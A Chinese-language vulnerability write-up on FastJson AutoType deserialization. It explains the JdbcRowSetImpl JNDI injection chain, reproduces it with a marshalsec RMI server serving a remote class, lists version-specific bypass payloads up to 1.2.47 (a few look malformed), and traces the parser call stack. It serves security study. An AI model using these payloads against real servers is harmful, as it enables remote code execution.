1 FastJson介绍
FastJson的主要功能就是将Java对象序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。把一个Java对象转换成字符串,有两种选择:
1)基于属性
fastjson引入了AutoType,即在序列化的时候使用@type字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型。
2)基于setter/getter
当我们要对他进行序列化的时候,fastjson会扫描其中的getter方法,即找到getName和getFruit,这时候就会将name和fruit两个字段的值序列化到JSON字符串中。
2 fastjson<=1.2.24
2.1 介绍
fastjson(v1.2.25 之前)的AutoType是默认开启的,也没有什么限制。 可以利用autoType这个特性,自己构造一个JSON字符串,并且使用@type指定一个自己想要使用的攻击类库。
比如利用com.sun.rowset.JdbcRowSetImpl这个类的dataSourceName传入一个rmi的源。
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:port/Exploit","autoCommit":true}
JdbcRowSetImpl类的基本原理见:JNDI注入
2.2 复现方式
首先创建一个远程加载的类
启动web服务
这样访问http://IP1:3333/MyTest.class就可以访问到class文件。 然后我们借助marshalsec启动一个RMI服务器,监听9999端口,并制定加载远程类MyTest.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://IP1:3333/#MyTest" 9999 (注意IP保密)
最后传入:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://IP2:9999/MyTest","autoCommit":true}
2.3 FastJson调用栈
详见流程见fastjson=1.2.24调试。
Exploit小结:
来源于 https://github.com/shengqi158/fastjson-remote-code-execute-poc
1.2.24
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true}}
未知版本(1.2.24-41之间)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
1.2.41
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
1.2.42
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true};
1.2.43
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true]}
1.2.45
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
1.2.47
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}}
3 fastjson=1.2.24调试
1)class JSON类
pasre(String text)如下
2)class DefaultJSONParser类
当为{时,token=12
token=12,继续parseObject
来到parseObject(Map object, Object fieldName)
这里有一个 JSONLexerBase.scanSymbol,作用是找一对“”之间的内容
第一对“”里就是“@value”,判断key = @type继续走
3)class TypeUtils类
4)class DefaultJSONParser类
5)class ParserConfig类
6)返回之后继续来到class DefaultJSONParser,执行deserializer.deserialze(this, clazz, fieldName);
然后来到class JavaBeanDeserializer
7)继续往下走,来到 class JSONScanner
8) JavaBeanDeserializer类
9)FieldDeserializer类
反射调用
后面就是JdbcRowSetImpl正常流程了,见JNDI注入